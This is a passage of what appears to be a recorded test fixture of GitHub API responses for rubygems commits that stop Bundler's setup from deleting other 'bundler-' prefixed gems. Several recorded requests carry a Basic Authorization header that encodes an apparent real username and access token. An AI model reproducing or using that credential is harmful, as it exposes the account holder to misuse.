platforms.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","html_url":"https://github.com/rubygems/rubygems/commit/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"03c09d67f983cb548f4790add004bd8bda9ba3cd","url":"https://api.github.com/repos/rubygems/rubygems/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd","html_url":"https://github.com/rubygems/rubygems/commit/03c09d67f983cb548f4790add004bd8bda9ba3cd"}],"stats":{"total":9,"additions":9,"deletions":0},"files":[{"sha":"9c0c3f7b662ba3cec79616c83e143c5718b860c1","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":9,"deletions":0,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","patch":"@@ -379,6 +379,15 @@ def install_default_bundler_gem\n mkdir_p bundler_spec.bin_dir\n bundler_spec.executables.each {|e| cp File.join(\"bundler\", bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }\n \n+ if Gem.win_platform?\n+ require ''rubygems/installer''\n+\n+ installer = Gem::Installer.for_spec bundler_spec\n+ bundler_spec.executables.each do |e|\n+ instaler.generate_windows_script e, bundler_spec.bin_dir\n+ end\n+ end\n+\n say \"Bundler #{bundler_spec.version} installed\"\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:53 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:53 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4506' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e459769129b86135212ae5edb0a39982" Last-Modified: - Wed, 22 Nov 2017 09:23:34 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.036926' X-Github-Request-Id: - C50A:4D96:9715F7:13A36CF:5A50E469 body: encoding: ASCII-8BIT string: '{"sha":"03c09d67f983cb548f4790add004bd8bda9ba3cd","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T09:23:34Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-22T09:23:34Z"},"message":"Auto merge of #2086 - hsbt:bugfix-2081, r=hsbt\n\nPrevent to delete to \"bundler-\" prefix gem like bundler-audit\n\nFixes #2081.","tree":{"sha":"7f23d3ad05807a5d49c59a3b24a17db3239d055d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7f23d3ad05807a5d49c59a3b24a17db3239d055d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd","html_url":"https://github.com/rubygems/rubygems/commit/03c09d67f983cb548f4790add004bd8bda9ba3cd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"53ae2d691e8ba42235623c61065222ec4f9e8837","url":"https://api.github.com/repos/rubygems/rubygems/commits/53ae2d691e8ba42235623c61065222ec4f9e8837","html_url":"https://github.com/rubygems/rubygems/commit/53ae2d691e8ba42235623c61065222ec4f9e8837"},{"sha":"0e7a0531e3a35430d2c219e9c707d055496dfa47","url":"https://api.github.com/repos/rubygems/rubygems/commits/0e7a0531e3a35430d2c219e9c707d055496dfa47","html_url":"https://github.com/rubygems/rubygems/commit/0e7a0531e3a35430d2c219e9c707d055496dfa47"}],"stats":{"total":41,"additions":40,"deletions":1},"files":[{"sha":"20a4cfcdf13ea4e31571ba7f5301c8c1251c9372","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/03c09d67f983cb548f4790add004bd8bda9ba3cd/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/03c09d67f983cb548f4790add004bd8bda9ba3cd/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=03c09d67f983cb548f4790add004bd8bda9ba3cd","patch":"@@ -373,7 +373,7 @@ def install_default_bundler_gem\n bundler_spec = Gem::Specification.load(default_spec_path)\n \n Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| default_gem.start_with?(\"bundler-\") }.\n+ select {|default_gem| default_gem.match(/bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n \n mkdir_p bundler_spec.bin_dir"},{"sha":"ea32351f12f9c1c610dfd83e053b64c2f80c80df","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":39,"deletions":0,"changes":39,"blob_url":"https://github.com/rubygems/rubygems/blob/03c09d67f983cb548f4790add004bd8bda9ba3cd/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/03c09d67f983cb548f4790add004bd8bda9ba3cd/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=03c09d67f983cb548f4790add004bd8bda9ba3cd","patch":"@@ -27,6 +27,28 @@ def setup\n open ''bundler/exe/bundle'', ''w'' do |io| io.puts ''# bundle'' end\n open ''bundler/lib/bundler.rb'', ''w'' do |io| io.puts ''# bundler.rb'' end\n open ''bundler/lib/bundler/b.rb'', ''w'' do |io| io.puts ''# b.rb'' end\n+\n+ FileUtils.mkdir_p ''default/gems''\n+\n+ gemspec = Gem::Specification.new\n+ gemspec.name = \"bundler\"\n+ gemspec.version = \"1.16.0\"\n+\n+ open ''bundler/bundler.gemspec'', ''w'' do |io|\n+ io.puts gemspec.to_ruby\n+ end\n+\n+ open(File.join(Gem::Specification.default_specifications_dir, \"bundler-1.15.4.gemspec\"), ''w'') do |io|\n+ io.puts ''# bundler''\n+ end\n+\n+ FileUtils.mkdir_p File.join(Gem.default_dir, \"specification\")\n+ open(File.join(Gem.default_dir, \"specification\", \"bundler-audit-1.0.0.gemspec\"), ''w'') do |io|\n+ io.puts ''# bundler-audit''\n+ end\n+\n+ FileUtils.mkdir_p ''default/gems/bundler-1.15.4''\n+ FileUtils.mkdir_p ''default/gems/bundler-audit-1.0.0''\n end\n \n def test_pem_files_in\n@@ -55,6 +77,23 @@ def test_install_lib\n end\n end\n \n+ def test_install_default_bundler_gem\n+ @cmd.extend FileUtils\n+\n+ @cmd.install_default_bundler_gem\n+\n+ default_dir = Gem::Specification.default_specifications_dir\n+\n+ refute_path_exists File.join(default_dir, \"bundler-1.15.4.gemspec\")\n+ refute_path_exists ''default/gems/bundler-1.15.4''\n+\n+ assert_path_exists File.join(default_dir, \"bundler-1.16.0.gemspec\")\n+ assert_path_exists ''default/gems/bundler-1.16.0''\n+\n+ assert_path_exists File.join(Gem.default_dir, \"specification\", \"bundler-audit-1.0.0.gemspec\")\n+ assert_path_exists ''default/gems/bundler-audit-1.0.0''\n+ end if Gem::USE_BUNDLER_FOR_GEMDEPS\n+\n def test_remove_old_lib_files\n lib = File.join @install_dir, ''lib''\n lib_rubygems = File.join lib, ''rubygems''"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:53 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/0e7a0531e3a35430d2c219e9c707d055496dfa47 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:54 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4505' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"76f501f8029ce145f9beab8db3092277" Last-Modified: - Wed, 22 Nov 2017 07:47:42 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.032328' X-Github-Request-Id: - A23C:4D97:903655:1C472B7:5A50E469 body: encoding: ASCII-8BIT string: '{"sha":"0e7a0531e3a35430d2c219e9c707d055496dfa47","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T05:15:08Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T07:47:42Z"},"message":"To use Gem::Version::VERSION_PATTERN instead of digit regex.","tree":{"sha":"7f23d3ad05807a5d49c59a3b24a17db3239d055d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7f23d3ad05807a5d49c59a3b24a17db3239d055d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0e7a0531e3a35430d2c219e9c707d055496dfa47","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0e7a0531e3a35430d2c219e9c707d055496dfa47","html_url":"https://github.com/rubygems/rubygems/commit/0e7a0531e3a35430d2c219e9c707d055496dfa47","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0e7a0531e3a35430d2c219e9c707d055496dfa47/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"27b291da9b56e9f4ea9ca62224ac58a64dda229d","url":"https://api.github.com/repos/rubygems/rubygems/commits/27b291da9b56e9f4ea9ca62224ac58a64dda229d","html_url":"https://github.com/rubygems/rubygems/commit/27b291da9b56e9f4ea9ca62224ac58a64dda229d"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"20a4cfcdf13ea4e31571ba7f5301c8c1251c9372","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/0e7a0531e3a35430d2c219e9c707d055496dfa47/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/0e7a0531e3a35430d2c219e9c707d055496dfa47/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=0e7a0531e3a35430d2c219e9c707d055496dfa47","patch":"@@ -373,7 +373,7 @@ def install_default_bundler_gem\n bundler_spec = Gem::Specification.load(default_spec_path)\n \n Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| default_gem.match(/bundler-\\d/) }.\n+ select {|default_gem| default_gem.match(/bundler-#{Gem::Version::VERSION_PATTERN}$/) }.\n each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n \n mkdir_p bundler_spec.bin_dir"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:54 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/27b291da9b56e9f4ea9ca62224ac58a64dda229d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:54 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4504' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"1c6c26f02a5232bfcaabb7e62e26dddd" Last-Modified: - Wed, 22 Nov 2017 07:47:42 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.036232' X-Github-Request-Id: - A23E:4D95:F47D49:1C83588:5A50E46A body: encoding: ASCII-8BIT string: '{"sha":"27b291da9b56e9f4ea9ca62224ac58a64dda229d","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-21T11:39:49Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T07:47:42Z"},"message":"match? is wrong","tree":{"sha":"2c53188e2da7a67a92f31096a61b9aca6aa6b34b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/2c53188e2da7a67a92f31096a61b9aca6aa6b34b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/27b291da9b56e9f4ea9ca62224ac58a64dda229d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/27b291da9b56e9f4ea9ca62224ac58a64dda229d","html_url":"https://github.com/rubygems/rubygems/commit/27b291da9b56e9f4ea9ca62224ac58a64dda229d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/27b291da9b56e9f4ea9ca62224ac58a64dda229d/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"fe8c8d5d296b41199d54a3b0468837d42d4dfe42","url":"https://api.github.com/repos/rubygems/rubygems/commits/fe8c8d5d296b41199d54a3b0468837d42d4dfe42","html_url":"https://github.com/rubygems/rubygems/commit/fe8c8d5d296b41199d54a3b0468837d42d4dfe42"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"5fd119cfcd1ba6e083181d65e76e6db91597d421","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/27b291da9b56e9f4ea9ca62224ac58a64dda229d/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/27b291da9b56e9f4ea9ca62224ac58a64dda229d/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=27b291da9b56e9f4ea9ca62224ac58a64dda229d","patch":"@@ -373,7 +373,7 @@ def install_default_bundler_gem\n bundler_spec = Gem::Specification.load(default_spec_path)\n \n Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| default_gem.match?(/bundler-\\d/) }.\n+ select {|default_gem| default_gem.match(/bundler-\\d/) }.\n each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n \n mkdir_p bundler_spec.bin_dir"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:54 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/fe8c8d5d296b41199d54a3b0468837d42d4dfe42 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:54 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4503' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7edc156515b45890725181b688d472d8" Last-Modified: - Wed, 22 Nov 2017 07:47:42 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.038914' X-Github-Request-Id: - A240:4D95:F47D51:1C83595:5A50E46A body: encoding: ASCII-8BIT string: '{"sha":"fe8c8d5d296b41199d54a3b0468837d42d4dfe42","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-21T09:49:28Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T07:47:42Z"},"message":"Fixes #2081. Prevent to delete to \"bundler-\" prefix gem like bundler-audit.","tree":{"sha":"59c857a8d540cb82f7fc1d16c6d438fe2e645169","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/59c857a8d540cb82f7fc1d16c6d438fe2e645169"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fe8c8d5d296b41199d54a3b0468837d42d4dfe42","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fe8c8d5d296b41199d54a3b0468837d42d4dfe42","html_url":"https://github.com/rubygems/rubygems/commit/fe8c8d5d296b41199d54a3b0468837d42d4dfe42","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fe8c8d5d296b41199d54a3b0468837d42d4dfe42/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"53ae2d691e8ba42235623c61065222ec4f9e8837","url":"https://api.github.com/repos/rubygems/rubygems/commits/53ae2d691e8ba42235623c61065222ec4f9e8837","html_url":"https://github.com/rubygems/rubygems/commit/53ae2d691e8ba42235623c61065222ec4f9e8837"}],"stats":{"total":41,"additions":40,"deletions":1},"files":[{"sha":"853cff31cb63c2bcf78f9261cea5fe610285977a","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/fe8c8d5d296b41199d54a3b0468837d42d4dfe42/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/fe8c8d5d296b41199d54a3b0468837d42d4dfe42/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=fe8c8d5d296b41199d54a3b0468837d42d4dfe42","patch":"@@ -373,7 +373,7 @@ def install_default_bundler_gem\n bundler_spec = Gem::Specification.load(default_spec_path)\n \n Dir.entries(bundler_spec.gems_dir).\n- select {|default_gem| default_gem.start_with?(\"bundler-\") }.\n+ select {|default_gem| default_gem.match?(/bundler-\\d/) }.\n each {|default_gem| rm_r File.join(bundler_spec.gems_dir, default_gem) }\n \n mkdir_p 